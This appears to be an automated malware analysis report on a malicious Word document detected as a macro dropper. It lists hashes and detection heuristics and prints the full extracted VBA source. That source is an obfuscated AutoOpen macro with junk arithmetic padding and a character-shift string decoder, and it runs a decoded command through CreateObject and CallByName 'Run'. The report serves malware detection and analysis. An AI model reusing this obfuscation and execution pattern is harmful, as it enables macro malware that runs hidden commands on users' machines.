Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7aeba7f00116679a…

MALICIOUS

Office (OLE)

77.0 KB Created: 2018-05-16 10:10:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: f0be68c12fdecbe56b0b4f9847fb354e SHA-1: ad8c7dd1d1c13e688494261759ea336ec7dd6abb SHA-256: 7aeba7f00116679a6e18e0010dd44ea655b8ca4393a12cbd9d722d90ad7fc187
250 Risk Score

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6546160-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6546160-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set cockyass = CreateObject(parismaria)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName birdkitty, tinabonnie, VbMethod, janerodman.rasa1361, laser1313, million301
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutOOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9034 bytes
SHA-256: 3482ad8476a9668b0f21de867f22ae8a27b3694d099ccd66b433558567bb916e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
werty2008
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
End Sub


Attribute VB_Name = "ANIKLAPARAK"
Function gifsimple(JUNE1747, marios1925, viktariusblood, Taripsni)
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
janerodman.rasa1361 = phinxsphinx1(JUNE1747, marios1925) + avokhciD(JUNE1747, viktariusblood) + speeddie(Taripsni)
End Function

Function casiologan()
casiologan = "m;]Qgm;]/u/ayEmaQRla.iaiE.]/"
End Function

Function mxguru58()
mxguru58 = janerodman.apetclow
End Function


Attribute VB_Name = "chesterc"
Attribute VB_Base = "0{898ACAC4-3181-42C8-AA8E-BF6301FC5D56}{141C9121-1EED-4724-BBFC-550C8B56E443}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "cheubwri"
Function stalkjag()
stalkjag = imelight007.insidedoug
End Function

Function newchannel1(ranshift, grosjazz)
newchannel1 = Mid(ranshift, grosjazz, 1)
End Function


Attribute VB_Name = "fifhfif10"
Function babyuser()
babyuser = imelight007.foczordi
End Function

Sub werty2008()
Randomize
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
imelight007.wombives = "jakenathan"
End Sub


Attribute VB_Name = "imelight007"
Attribute VB_Base = "0{BA05D8CE-EB73-420B-8259-F7796D5FF9AE}{D5D63820-4DAC-400B-8B7E-AB77F903F26E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub wombives_Change()
unixmarcus = buitrera(swashdye)
anikhsurik = buitrera(swashdye)
enamtrea = buitrera(anoush07)
laisvres = buitrera(anoush07)
sonicslucy = 51 + 2
sonicslucy = 79 * 7
sonicslucy = 39 * 11 + 10
sonicslucy = sonicslucy * 18 - 10
sonicslucy = 149 - 132 + 148
gifsimple unixmarcus, anikhsurik, enamtrea, laisvres
End Sub

Attribute VB_Name = "jacobduke"
Attribute VB_Base = "0{F572F805-8B44-4E3C-9F00-491C8CF37287}{744E884E-B03E-49C9-917A-211A59C2B725}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "janerodman"
Attribute VB_Base = "0{D91F161E-0FF3-42F3-8158-BEE6C95DCFAD}{318CCEE3-F352-4803-AB85-6C16C02E1095}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub CheckBox1_Click()
MsgBox "Ok"
End Sub

Private Sub CommandButton1_Click()
MsgBox "Ok"
End Sub

Private Sub Label1_Click()
MsgBox "Ok"
End Sub

Private Sub rasa1361_Change()
Set cockyass = CreateObject(parismaria)
volahiraV = 105 + 84
volahiraV = volahiraV - volahiraV * 9
volahiraV = 44 * 19 + 5
volahiraV = volahiraV - volahiraV * 4 + volahiraV * volahira
volahiraV = 1 - 61 - volahiraV * 10
volahiraV = 150 - volahiraV * 10 + 127 + 4
tarikan12 cockyass
End Sub

Private Sub ToggleButton1_Click()
MsgBox "Ok"
End Sub

Attribute VB_Name = "joker350"
Function namhcuhC(collapser231 As String, pookieacer As Integer) As String
Dim brochpin As Integer
brochpin = 0
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
For tanker166 = 1 To 90
If (newchannel1(stalkjag, tanker166) = collapser231) Then
   brochpin = tanker166
   AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
    Exit For
End If
Next tanker166
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
brochpin = IIf(brochpin - pookieacer <= 0, 90 + brochpin - pookieacer, brochpin - pookieacer)
namhcuhC = newchannel1(stalkjag, brochpin)
End Function

Function swashdye()
swashdye = jacobduke.areszq77
End Function

Function anoush07()
anoush07 = janerodman.anatSOAD
End Function


Attribute VB_Name = "leksejja"
Function phinxsphinx1(gatorshoes, lindatandy)
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
phinxsphinx1 = minotauras(janerodman.augqst1085) + gatorshoes + minotauras(chesterc.cladomco) + _
 lindatandy + minotauras(janerodman.ozzPorno11 + janerodman.pruupflo) + lindatandy
End Function

Function oknethseB(sondejeu, mocdream)
oknethseB = huffhend(Int((sondejeu * Rnd()) + mocdream))
End Function

Function huffhend(thankcap)
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
huffhend = CInt(thankcap)
End Function


Attribute VB_Name = "longview"
Function speeddie(retrofittedretrofitted)
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
speeddie = minotauras(casiologan + jacobduke.vadershit) + retrofittedretrofitted + _
minotauras(jacobduke.JANUARY30) + retrofittedretrofitted + minotauras(imelight007.lawrosie)
End Function

Sub tarikan12(birdkitty)
tinabonnie = "Run"
laser1313 = 0
million301 = True
CallByName birdkitty, tinabonnie, VbMethod, janerodman.rasa1361, laser1313, million301
End Sub

Function equalgiu()
equalgiu = ".ghgiouxhEmaQRla.iaiE.]/"
End Function


Attribute VB_Name = "ovfdbo24"
Function buitrera(CArrie28)
arthur139 = oknethseB(9, 4) - 1
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
gaugmims = oknethseB(53, 1)
avokneerpuK = newchannel1(babyuser, gaugmims)
For ictoriya6666 = 2 To arthur139
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
gaugmims = oknethseB(27, 1)
avokneerpuK = avokneerpuK + newchannel1(CArrie28, gaugmims)
Next ictoriya6666
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
gaugmims = oknethseB(37, 1)
buitrera = samdiablo(avokneerpuK, gaugmims)
End Function

Function samdiablo(jalbrilc, halnewton)
samdiablo = jalbrilc + newchannel1(mxguru58, halnewton)
End Function


Attribute VB_Name = "Senator"
Function minotauras(VOKNEHSUBOLOK)
assjacob = ""
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
jacktrebor = Len(VOKNEHSUBOLOK)
For tomd7710 = 1 To jacktrebor
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
assjacob = assjacob + namhcuhC(newchannel1(VOKNEHSUBOLOK, tomd7710), 4)
Next tomd7710
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
minotauras = assjacob
End Function

Function parismaria()
parismaria = frank158
End Function

Function frank158()
frank158 = minotauras(jacobduke.Skittlesl)
End Function

Function avokhciD(clumsteg, laneabil)
AVONIGZUK = 44 * 14
AVONIGZUK = 60 - 57 * AVONIGZU
AVONIGZUK = 20 * 23 + 11
AVONIGZUK = 115 + 95 + 5
AVONIGZUK = 111 - 51 + 46 - 44 * 15
AVONIGZUK = AVONIGZUK * 92 * AVONIGZU
avokhciD = minotauras(chesterc.hoodlumhoo) + laneabil + minotauras(chesterc.vonikehC) + _
laneabil + minotauras(chesterc.baricras) + clumsteg + _
minotauras(jacobduke.JUcrWhiz + equalgiu + jacobduke.saintnos) + clumsteg + minotauras(jacobduke.JUcrWhiz)
End Function

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